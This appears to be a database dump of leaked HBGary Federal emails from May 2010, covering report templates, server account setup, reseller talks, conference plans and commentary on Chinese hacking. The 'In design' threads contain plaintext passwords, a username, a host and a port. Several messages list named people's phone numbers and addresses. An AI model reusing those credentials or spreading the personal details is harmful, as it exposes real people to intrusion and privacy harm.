&lt;greg@hbgary.com&gt; wrote:\r\n\r\n\r\nChark,\r\nSet aaron up with a support.hbgary.com account.\r\n \r\n-Greg\r\n---------- Forwarded message ----------From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\nDate: Mon, May 17, 2010 at 10:56 AM\r\nSubject: Re: In designTo: Greg Hoglund &lt;greg@hbgary.com&gt;\r\n\r\nHey Greg,\r\n\r\nI don&#39;t think i have access to that?  If I do can u point me in the right direction.\r\nAaronSent from my iPad\r\n\r\n\r\n\r\nOn May 17, 2010, at 1:22 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n \r\nRich, Aaron,\r\n \r\nThe report indd files for the following:\r\n- Exploitaiton Assessment with REcon whitepaper\r\n- AD data sheet\r\n- Aurora whitepaper\r\n- QinetiQ report\r\n \r\ncan all be found in &#39;ReportTemplatesForBoyz.rar&#39; in Rich&#39;s home dir on support.  PW is meatflower.\r\n \r\nThere are some additional files for you in this rar:\r\n \r\nFonts directory - you want these fonts installed.\r\nTwo PPT files with the original pie charts used in QinetiQ&#39;s report.  You want these so you can make your own pie charts as needed.\r\n \r\n-Greg\r\nOn Mon, May 17, 2010 at 9:53 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nGreg,Can I get the indd file for qenetiq and aurora report.  I have thesoftware and 30 day trial license.\r\n\r\n\r\n\r\nAaron From my iPhone\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',13609,'aaron_hbgary_com/13609.html'),(6439,'2010-05-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004630.M76642P14101Q1291.eml','\"Charles Copeland\" <charles@hbgary.com>','Re: In design','Thanks. &nbsp;I don\'t have access to Richs directory and don\'t see the file anywhere else.Looking for&nbsp;ReportTemplatesForBoyz.rarAaronOn May 17, 2010, at 8:33 PM, Charles Copeland wrote:sftpOn Mon, May 17, 2010 at 4:06 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nChark,Is that ftp, sftp?AaronOn May 17, 2010, at 2:27 PM, Charles Copeland wrote:\r\nHello Aaron,&nbsp;Greg asked me to set you up a account on the support box. &nbsp;Your UN is aaron and PW is asdf1234 change the PW when you get a chance.support.hbgary.com&nbsp;port 59022 &nbsp;let me know if you have any questions.\r\n\r\nOn Mon, May 17, 2010 at 11:12 AM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\nChark,\r\nSet aaron up with a support.hbgary.com account.\r\n&nbsp;\r\n-Greg\r\n---------- Forwarded message ----------From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nDate: Mon, May 17, 2010 at 10:56 AM\r\nSubject: Re: In designTo: Greg Hoglund &lt;greg@hbgary.com&gt;\r\n\r\nHey Greg,\r\n\r\nI don\'t think i have access to that? &nbsp;If I do can u point me in the right direction.\r\nAaronSent from my iPad\r\n\r\n\r\n\r\nOn May 17, 2010, at 1:22 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n&nbsp;\r\nRich, Aaron,\r\n&nbsp;\r\nThe report indd files for the following:\r\n- Exploitaiton Assessment with REcon whitepaper\r\n- AD data sheet\r\n- Aurora whitepaper\r\n- QinetiQ report\r\n&nbsp;\r\ncan all be found in \'ReportTemplatesForBoyz.rar\' in Rich\'s home dir on support.&nbsp; PW is meatflower.\r\n&nbsp;\r\nThere are some additional files for you in this rar:\r\n&nbsp;\r\nFonts directory - you want these fonts installed.\r\nTwo PPT files with the original pie charts used in QinetiQ\'s report.&nbsp; You want these so you can make your own pie charts as needed.\r\n&nbsp;\r\n-Greg\r\nOn Mon, May 17, 2010 at 9:53 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nGreg,Can I get the indd file for qenetiq and aurora report. &nbsp;I have thesoftware and 30 day trial license.\r\n\r\n\r\nAaron&nbsp;From my iPhone\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',612,'aaron_hbgary_com/612.html'),(6440,'2010-05-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004630.M933983P14101Q1295.eml','moneyarthurl@cs.com','Re: Catch Up','Art,\r\n\r\nI have been discussing with some folks from OSD the idea of commercializing operational requirements and have gotten a lot of good feedback on some of my ideas, potential funding, not sure yet.  I am working with Irving Lachow who has in turn introduced me to some folks at the Pentagon and others who want to do more.  The response is positive but I think to some degree what I am talking about hurts their heads a bit.  The connection you have with Peter sounds perfect.  I could run some ideas by him.  Just his advise would be beneficial, If he is interested, what might be most beneficial is just the relationship as an entry point into Silicon Valley, helping to build relationships, etc.\r\n\r\nI think the idea is an important one.  In many areas we can no longer work at the speed of government.\r\n\r\nAaron\r\n\r\nOn May 5, 2010, at 1:00 PM, moneyarthurl@cs.com wrote:\r\n\r\n> I\'ll send some dates\r\n> ------Original Message------\r\n> From: Aaron Barr\r\n> To: Arthur L. Money\r\n> Sent: May 5, 2010 11:36\r\n> Subject: Re: Catch Up\r\n> \r\n> That would be great.  McLean/Tysons Corner is where I  am when not on\r\n> the road.\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n> \r\n> On May 5, 2010, at 11:22 AM, \"Arthur L. Money\" \r\n> wrote:\r\n> \r\n>> Glad to hear form you - hear you are doing well - Peter Weinberger\r\n>> is a\r\n>> Google sr person and cleared sits on many USG advisory Boards\r\n>> including the\r\n>> NSA board I chair -\r\n>> Where are you located?\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, May 05, 2010 10:58 AM\r\n>> To: Art Money\r\n>> Subject: Catch Up\r\n>> \r\n>> Hi Art,\r\n>> \r\n>> If you have some time I would like to get together and fill you in on\r\n>> what I have been up to.  Also wondering if you have a contact at\r\n>> Google with clearances.  I have an opportunity that may or may not\r\n>> interest them, but I would like to get their thoughts.\r\n>> \r\n>> Take care,\r\n>> Aaron\r\n>> \r\n>> Sent from my iPad\r\n>> \r\n> \r\n> \r\n> Art Money - 571 216 1071 -          Sent via BlackBerry -                 a service from AT&T Wireless.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',3934,'aaron_hbgary_com/3934.html'),(6441,'2010-05-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004631.M147895P14101Q1296.eml','\"Charles Copeland\" <charles@hbgary.com>','Re: In design','got it thanks.AaronOn May 18, 2010, at 2:36 PM, Charles Copeland wrote:Hello Aaron,&nbsp;&nbsp;I just disabled and enabled your permissions please try again. &nbsp;Let me know how it goes.CharlesOn Tue, May 18, 2010 at 11:32 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nThanks. &nbsp;I don\'t have access to Richs directory and don\'t see the file anywhere else.\r\nLooking for&nbsp;ReportTemplatesForBoyz.rarAaronOn May 17, 2010, at 8:33 PM, Charles Copeland wrote:\r\nsftpOn Mon, May 17, 2010 at 4:06 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nChark,Is that ftp, sftp?AaronOn May 17, 2010, at 2:27 PM, Charles Copeland wrote:\r\nHello Aaron,&nbsp;Greg asked me to set you up a account on the support box. &nbsp;Your UN is aaron and PW is asdf1234 change the PW when you get a chance.support.hbgary.com&nbsp;port 59022 &nbsp;let me know if you have any questions.\r\n\r\n\r\nOn Mon, May 17, 2010 at 11:12 AM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\n\r\nChark,\r\nSet aaron up with a support.hbgary.com account.\r\n&nbsp;\r\n-Greg\r\n---------- Forwarded message ----------From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\nDate: Mon, May 17, 2010 at 10:56 AM\r\nSubject: Re: In designTo: Greg Hoglund &lt;greg@hbgary.com&gt;\r\n\r\nHey Greg,\r\n\r\nI don\'t think i have access to that? &nbsp;If I do can u point me in the right direction.\r\nAaronSent from my iPad\r\n\r\n\r\n\r\nOn May 17, 2010, at 1:22 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n&nbsp;\r\nRich, Aaron,\r\n&nbsp;\r\nThe report indd files for the following:\r\n- Exploitaiton Assessment with REcon whitepaper\r\n- AD data sheet\r\n- Aurora whitepaper\r\n- QinetiQ report\r\n&nbsp;\r\ncan all be found in \'ReportTemplatesForBoyz.rar\' in Rich\'s home dir on support.&nbsp; PW is meatflower.\r\n&nbsp;\r\nThere are some additional files for you in this rar:\r\n&nbsp;\r\nFonts directory - you want these fonts installed.\r\nTwo PPT files with the original pie charts used in QinetiQ\'s report.&nbsp; You want these so you can make your own pie charts as needed.\r\n&nbsp;\r\n-Greg\r\nOn Mon, May 17, 2010 at 9:53 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nGreg,Can I get the indd file for qenetiq and aurora report. &nbsp;I have thesoftware and 30 day trial license.\r\n\r\n\r\n\r\nAaron&nbsp;From my iPhone\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3189,'aaron_hbgary_com/3189.html'),(6442,'2010-05-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004631.M365946P14101Q1297.eml','\"Bailey, Don\" <dbailey@BlackbirdTech.com>','Re: Catch Up','Hey Don,\r\n\r\nHow are things?  Still want to grab some dinner?  I am always up for some good food.\r\n\r\nAaron\r\n\r\n\r\nOn Apr 16, 2010, at 3:32 PM, Bailey, Don wrote:\r\n\r\n> Hi Aaron - it\'s been a crazy few months here as well.  Sorry I\'ve been out of touch.\r\n> \r\n> I have seen the new REcon paper, nicely done!  I\'ve not seen the ticker yet, but will check it as soon as I send this note.\r\n> \r\n> The next two weeks are pretty hammered for me; perhaps we can do dinner and drinks the first week in May?\r\n> \r\n> Don Bailey\r\n> Blackbird Technologies, PDG\r\n> 703.345.1304 office\r\n> 703.582.1277 cell\r\n> dbailey@blackbirdtech.com\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Friday, April 16, 2010 2:38 PM\r\n> To: Bailey, Don\r\n> Cc: Ted Vera\r\n> Subject: Catch Up\r\n> \r\n> Hey Don,\r\n> \r\n> I am getting a bit of a breather from a few months of proposals.\r\n> \r\n> Penny said you wanted to get together and talk about future work together.  I know you guys were also looking at potential investing in HBGar Proper.  Anyway, send me a not or a call and we can try to get together.  Have you seen the new REcon Software Exploitation paper? or the malware ticker on the HBGary website?  The Threat Management Center, which drives the data in the ticker has a lot of promise for threat intelligence.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',3080,'aaron_hbgary_com/3080.html'),(6443,'2010-05-18','\"Bailey, Don\" <dbailey@BlackbirdTech.com>','/aaron@hbgary.com/new/1297004631.M648351P14101Q1298.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Catch Up','',5904,'aaron_hbgary_com/5904.html'),(6444,'2010-05-18','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297004631.M870193P14101Q1299.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Introduction','Hi Aaron,Thanks for this. It was good to speak to you on Friday.Looking forward to receiving a reseller agreement/other materials that we can go through.Best wishes,Arnav\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Groupcomplexity.engagedWorld Exchange Plaza45 O\'Connor Street, Suite 1150Ottawa, Ontario K1P 1A4Office:&nbsp;+1 (613) 755-4007Cell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\nOn 2010-05-14, at 3:49 PM, Aaron Barr wrote:Sent from my iPadBegin forwarded message:From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: May 14, 2010 11:14:20 AM EDTTo: Scott K. Brown &lt;sbrown@dewnet.ncsc.mil&gt;Cc: Nart Villeneuve &lt;nart.villeneuve@utoronto.ca&gt;\r\nSubject: IntroductionScott,Let me introduce Nart Villeneuve. &nbsp;Nart is the CTO for SecDev. &nbsp;Most recently they have put together and presented some very interesting findings on the cyber attacks against the office of the Dali Lama (ghostnet) and some broader related attacks (shadownet). &nbsp;Their investigative techniques are thorough and would likely provide some good information to the group at the REBL conference.\r\nNart,Scott managed the Blue Team at NSA and is putting together this years conference. &nbsp;He is looking for some interesting speakers concerning malware, malware analysis, threats, integration of capabilities, etc. &nbsp;I mentioned to him I thought your talk would be appropriate and engaging.\r\nAaron\r\n',15803,'aaron_hbgary_com/15803.html'),(6445,'2010-05-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004632.M98126P14101Q1300.eml','\"Arnav Manchanda\" <a.manchanda@secdev.ca>,\"Arnav Manchanda\" <a.manchanda@secdev.ca>','Re: Introduction','Hi Arnav,Sure.  Cc&#39;d is the president of HBGary Inc.  They build and manage the product.  Penny will get you the reseller agreement.  We use the HBGary products as our foundation for enterprise incident response engagements.  I will send you some information on this.  Can we talk briefly tomorrow?\r\nAaronSent from my iPadOn May 18, 2010, at 4:15 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\nHi Aaron,Thanks for this. It was good to speak to you on Friday.Looking forward to receiving a reseller agreement/other materials that we can go through.\r\nBest wishes,Arnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe SecDev Group\r\ncomplexity.engaged\r\nWorld Exchange Plaza\r\n45 O&#39;Connor Street, Suite 1150\r\nOttawa, Ontario K1P 1A4\r\nOffice: +1 (613) 755-4007\r\nCell:  +1 (613) 806-4081E-mail: a.manchanda@secdev.ca \r\nThis email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.\r\nConsider the environment. Please don&#39;t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\nOn 2010-05-14, at 3:49 PM, Aaron Barr wrote:Sent from my iPadBegin forwarded message:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: May 14, 2010 11:14:20 AM EDTTo: Scott K. Brown &lt;sbrown@dewnet.ncsc.mil&gt;Cc: Nart Villeneuve &lt;nart.villeneuve@utoronto.ca&gt;\r\n\r\nSubject: IntroductionScott,Let me introduce Nart Villeneuve.  Nart is the CTO for SecDev.  Most recently they have put together and presented some very interesting findings on the cyber attacks against the office of the Dali Lama (ghostnet) and some broader related attacks (shadownet).  Their investigative techniques are thorough and would likely provide some good information to the group at the REBL conference.\r\n\r\nNart,Scott managed the Blue Team at NSA and is putting together this years conference.  He is looking for some interesting speakers concerning malware, malware analysis, threats, integration of capabilities, etc.  I mentioned to him I thought your talk would be appropriate and engaging.\r\n\r\nAaron\r\n\r\n',16619,'aaron_hbgary_com/16619.html'),(6446,'2010-05-18','\"Daniel Ingevaldson\" <dsi@endgames.us>','/aaron@hbgary.com/new/1297004634.M241080P14101Q1301.eml','\"Aaron Barr\" <aaron@hbgary.com>','Endgame Systems IP reputation service','',2278,'aaron_hbgary_com/2278.html'),(6447,'2010-05-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004634.M508305P14101Q1302.eml','\"David Etue\" <david.etue@fidelissecurity.com>','Catch up','Hi Dave,\r\n\r\nThanks for calling yesterday (sorry I was a bit distracted with kids).  Lets get together this week or early next to talk about Scout and integration.  I am pretty open tomorrow and Friday.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',3952,'aaron_hbgary_com/3952.html'),(6448,'2010-05-18','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297004634.M749356P14101Q1303.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Catch up','It looks like I\'m going to be traveling Friday, so tomorrow would be\r\nbetter.  I\'m free before 10 AM,  from 1-3, and after 4 PM.  If we meet\r\nin Bethesda, all of that time is open.  Happy to come meet you in your\r\noffices or Tysons, but will need to account for some travel time too.  \r\n\r\nDavid\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, May 18, 2010 4:56 PM\r\nTo: Etue, David\r\nSubject: Catch up\r\n\r\nHi Dave,\r\n\r\nThanks for calling yesterday (sorry I was a bit distracted with kids).\r\nLets get together this week or early next to talk about Scout and\r\nintegration.  I am pretty open tomorrow and Friday.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',11294,'aaron_hbgary_com/11294.html'),(6449,'2010-05-18','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004636.M430628P14101Q1304.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','FW: NMCIWG: Daily Computer Threat News (Tue)','\r\n\r\n-----Original Message-----\r\nFrom: Ousley, Jerry, CIV, DSS [mailto:Jerry.Ousley@dss.mil] \r\nSent: Tuesday, May 18, 2010 2:58 PM\r\nSubject: FW: NMCIWG: Daily Computer Threat News (Tue)\r\n\r\n \r\n\r\nSubject: NMCIWG: Daily Computer Threat News (Tue)\r\n\r\nToday\'s articles:\r\n\r\n1.      Security guard enters guilty plea for hacking employer\'s\r\ncomputers\r\n\r\n2.      Remaining Facebook users warned about \'sexiest video\'\r\n\r\n3.      Ukrainian arrested in India on TJX data-theft charges\r\n\r\n4.      Google Street View accidentally collected user data via WiFi\r\n\r\n5.      BSA: $51 billion in unlicensed software exacerbates malware\r\nproblem\r\n\r\n6.      Crime friendly ISP offline\r\n\r\n7.      Latvia\'s \'Robin Hood\' hacker unmasked as AI researcher\r\n\r\n8.      Cyber crooks target web applications\r\n\r\n9.      P2P networks a treasure trove of leaked health care data, study\r\nfinds\r\n\r\n10.     Survey: Gov\'t agencies use unsafe methods to transfer files\r\n\r\n11.     Malware and spam trends continue to grow\r\n\r\n12.     Teach a Man to Phish... \r\n\r\n13.     Koobface gang counter-poohpooh nemesis sec-pro Danchev\r\n\r\n14.     Web browsers leave \'fingerprints\' as you surf\r\n\r\n',11756,'aaron_hbgary_com/11756.html'),(6450,'2010-05-18','\"Mulville, Michael E.\" <MICHAEL.E.MULVILLE@saic.com>','/aaron@hbgary.com/new/1297004636.M937133P14101Q1305.eml','aaron@hbgary.com,bob@hbgary.com','CEIC Conf next week','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Bob &#8211; \r\n\r\n\r\nWill either of you be at the CEIC Conf next week.\r\n\r\n&nbsp;\r\n\r\nLet me know &#8211; and if not &#8211; anyone I could meet\r\nup with ?\r\n\r\n&nbsp;\r\n\r\nThx - Mike\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nMike Mulville\r\n\r\n&nbsp;\r\n\r\nVP, Cyber CTO\r\n\r\nSAIC Cyber Programs\r\n\r\nMulvilleM@saic.com\r\n\r\nO/ 703.676.8381&nbsp; M/\r\n703.622.9121\r\n\r\n1710 Saic Dr.\r\n\r\nMcLean, VA 22102\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7567,'aaron_hbgary_com/7567.html'),(6451,'2010-05-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004637.M157198P14101Q1306.eml','\"Ted Vera\" <ted@hbgary.com>','Sf86','Need to get it to TASC\r\n\r\n From my iPhone\r\n',7485,'aaron_hbgary_com/7485.html'),(6452,'2010-05-18','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297004639.M642273P14101Q1307.eml','all@hbgary.com,\"Karen Burke\" <karenmaryburke@yahoo.com>','Active Defense whitepaper, final',' \r\nAll,\r\nAttached is the final draft of the Active Defense whitepaper.  We will be releasing this soon.\r\n \r\n-Greg\r\n',11714,'aaron_hbgary_com/11714.html'),(6453,'2010-05-19','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004639.M936105P14101Q1308.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Sf86','Shit.  Yup.\r\n\r\nOn May 18, 2010, at 5:10 PM, Aaron Barr  wrote:\r\n\r\n> Need to get it to TASC\r\n>\r\n> From my iPhone\r\n',7270,'aaron_hbgary_com/7270.html'),(6454,'2010-05-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004640.M220886P14101Q1309.eml','\"Mulville, Michael E.\" <MICHAEL.E.MULVILLE@saic.com>,\"Mulville, Michael E.\" <MICHAEL.E.MULVILLE@saic.com>','Re: CEIC Conf next week','Hey Mike,HBGary will have a booth at the conference. Rich, Bob, and probably others will be there.I think Bobs going, Bob?\r\nAaronFrom my iPhoneOn May 18, 2010, at 6:51 PM, &quot;Mulville, Michael E.&quot; &lt;MICHAEL.E.MULVILLE@saic.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron and Bob – \r\n\r\n\r\nWill either of you be at the CEIC Conf next week.\r\n\r\n \r\n\r\nLet me know – and if not – anyone I could meet\r\nup with ?\r\n\r\n \r\n\r\nThx - Mike\r\n\r\n \r\n\r\n \r\n\r\nMike Mulville\r\n\r\n \r\n\r\nVP, Cyber CTO\r\n\r\nSAIC Cyber Programs\r\n\r\nMulvilleM@saic.com\r\n\r\nO/ 703.676.8381  M/\r\n703.622.9121\r\n\r\n1710 Saic Dr.\r\n\r\nMcLean, VA 22102\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7719,'aaron_hbgary_com/7719.html'),(6455,'2010-05-19','\"Irving Lachow\" <lachowI@ndu.edu>','/aaron@hbgary.com/new/1297004640.M446031P14101Q1310.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Companies to check out','\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\nIrving Lachow has sent you a message.\r\n\r\n\r\n  Date:\r\n  5/18/2010\r\n\r\n\r\n  Subject:\r\n  RE: Companies to check out\r\n\r\n\r\n\r\n  Thanks Aaron!\r\n\r\n\r\n\r\nOn 05/13/10 3:24 AM, Aaron Barr wrote:\r\n\r\n--------------------\r\n\r\nFoursquare\r\n\r\nGowalla\r\n\r\nBrightkite\r\n\r\nMopho.to\r\n\r\nYelp\r\n\r\nLoopt\r\n\r\nWhrrl\r\n\r\nLunch.com\r\n\r\n\r\n\r\nChecking based services is here to stay but none of these companies has got it right yet.  It still just a novelty.  The power of location based information and services though is huge.  Google and Facebook are getting in to this game as well.\r\n\r\nAaron\r\n\r\n\r\nView/reply to this message\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',12803,'aaron_hbgary_com/12803.html'),(6456,'2010-05-19','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297004640.M701708P14101Q1311.eml','\"Barr Aaron\" <aaron@hbgary.com>','.Mac Reader: Engadget','feed://www.engadget.com/rss.xml\r\n\r\n\r\n\r\n',15231,'aaron_hbgary_com/15231.html'),(6457,'2010-05-19','\"MB Toth\" <mbt.rbtoth@starpower.net>','/aaron@hbgary.com/new/1297004641.M888397P14101Q1312.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <adbarr@mac.com>,\"Ted Vera\" <tedvera@mac.com>,\"Ted Vera\" <ted@hbgary.com>','DoD R&D Forum','Aaron, Ted,\r\n\r\n     This seems to be more related to Theatre operations by the \r\nmilitary, with a short RFI due on 16 July.  While not your specific area \r\nof focus, it might be worth signing up for the Industry Day out in \r\nChantilly on the afternoon of 17 June (see page 5 for details on sign \r\nup).  This might give you an opportunity to show the HBGary flag, \r\nnetwork and see who\'s doing what with DoD.\r\n\r\n     And perhaps in early June we could get together for lunch, after I \r\nreturn from the beach 5 June and before I head off to the UK 23 June.\r\n\r\n     Mike\r\n\r\n',5274,'aaron_hbgary_com/5274.html'),(6458,'2010-05-19','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297004642.M175774P14101Q1313.eml','\"Martin Pillion\" <martin@hbgary.com>,aaron@hbgary.com,\"Martin Pillion\" <martin@hbgary.com>,aaron@hbgary.com,,,,,','Re: More info on Chinese hackers and how they target fortune 500','OK Aaron,\r\nWTF do black duck eggs have to do with chinese hackers?\r\n \r\nI have always viewed Ira as a hanger on cry wolfer, has he changed at all?\r\n \r\n-Greg\r\nOn Tue, May 18, 2010 at 4:54 PM, Martin Pillion &lt;martin@hbgary.com&gt; wrote:\r\nhttp://www.networkworld.com/community/blog/black-duck-eggs-and-other-secrets-chinese-hac\r\n\r\n',3770,'aaron_hbgary_com/3770.html'),(6459,'2010-05-19','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297004642.M506320P14101Q1314.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Introduction','Hi Aaron,I\'m free to talk today, between 10 and 1pm EST and 4-5 EST. Give me a shout whenever\'s best 613-755-4007Best,ArnavOn 2010-05-18, at 4:22 PM, Aaron Barr wrote:Hi Arnav,Sure. &nbsp;Cc\'d is the president of HBGary Inc. &nbsp;They build and manage the product. &nbsp;Penny will get you the reseller agreement. &nbsp;We use the HBGary products as our foundation for enterprise incident response engagements. &nbsp;I will send you some information on this. &nbsp;Can we talk briefly tomorrow?\r\nAaronSent from my iPadOn May 18, 2010, at 4:15 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\nHi Aaron,Thanks for this. It was good to speak to you on Friday.Looking forward to receiving a reseller agreement/other materials that we can go through.\r\nBest wishes,Arnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Group\r\ncomplexity.engaged\r\nWorld Exchange Plaza\r\n45 O\'Connor Street, Suite 1150\r\nOttawa, Ontario K1P 1A4\r\nOffice:&nbsp;+1 (613) 755-4007\r\nCell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\nOn 2010-05-14, at 3:49 PM, Aaron Barr wrote:Sent from my iPadBegin forwarded message:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: May 14, 2010 11:14:20 AM EDTTo: Scott K. Brown &lt;sbrown@dewnet.ncsc.mil&gt;Cc: Nart Villeneuve &lt;nart.villeneuve@utoronto.ca&gt;\r\n\r\nSubject: IntroductionScott,Let me introduce Nart Villeneuve. &nbsp;Nart is the CTO for SecDev. &nbsp;Most recently they have put together and presented some very interesting findings on the cyber attacks against the office of the Dali Lama (ghostnet) and some broader related attacks (shadownet). &nbsp;Their investigative techniques are thorough and would likely provide some good information to the group at the REBL conference.\r\n\r\nNart,Scott managed the Blue Team at NSA and is putting together this years conference. &nbsp;He is looking for some interesting speakers concerning malware, malware analysis, threats, integration of capabilities, etc. &nbsp;I mentioned to him I thought your talk would be appropriate and engaging.\r\n\r\nAaron\r\n\r\n',12895,'aaron_hbgary_com/12895.html'),(6460,'2010-05-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004642.M814013P14101Q1315.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,,,,,,','Re: More info on Chinese hackers and how they target fortune 500','He is definitely crying wolf.  He has smatterings of truth overlaid with exaggeration.  He makes statements with no basis of fact or figure.  The black egg comment cracks me up.  That was the first indication he has Richard Clarke syndrome, a lone voice, the only man that sees the hidden messages buried in the new york times.  He&#39;s not quite ready for a tin foil hat but he&#39;s working on it.\r\nIf anyone in public knew the amount of spying that was taking place under their nose they would freak out a bit.  That&#39;s the point.  Its supposed to be effective and secret.  Does china have people connected to major US companies?  Should we be very worried about insider threat?  Supply chain? Yes. Yes. And yes.  The problem is certainly more expansive than most realize.  Because it&#39;s completed and we are certain we have not detected all or even most of their capabilities.  You could assume the same is probably true on their side to a degree.\r\nHis comments about Aurora again tell me a lot about him.  I dont believe he has ever seen how offensive operations are conducted.  Each country likely has their own methodology but the Aurora event was by no means laughable.  It was targeted, tailored, coordinated, and timed.  It 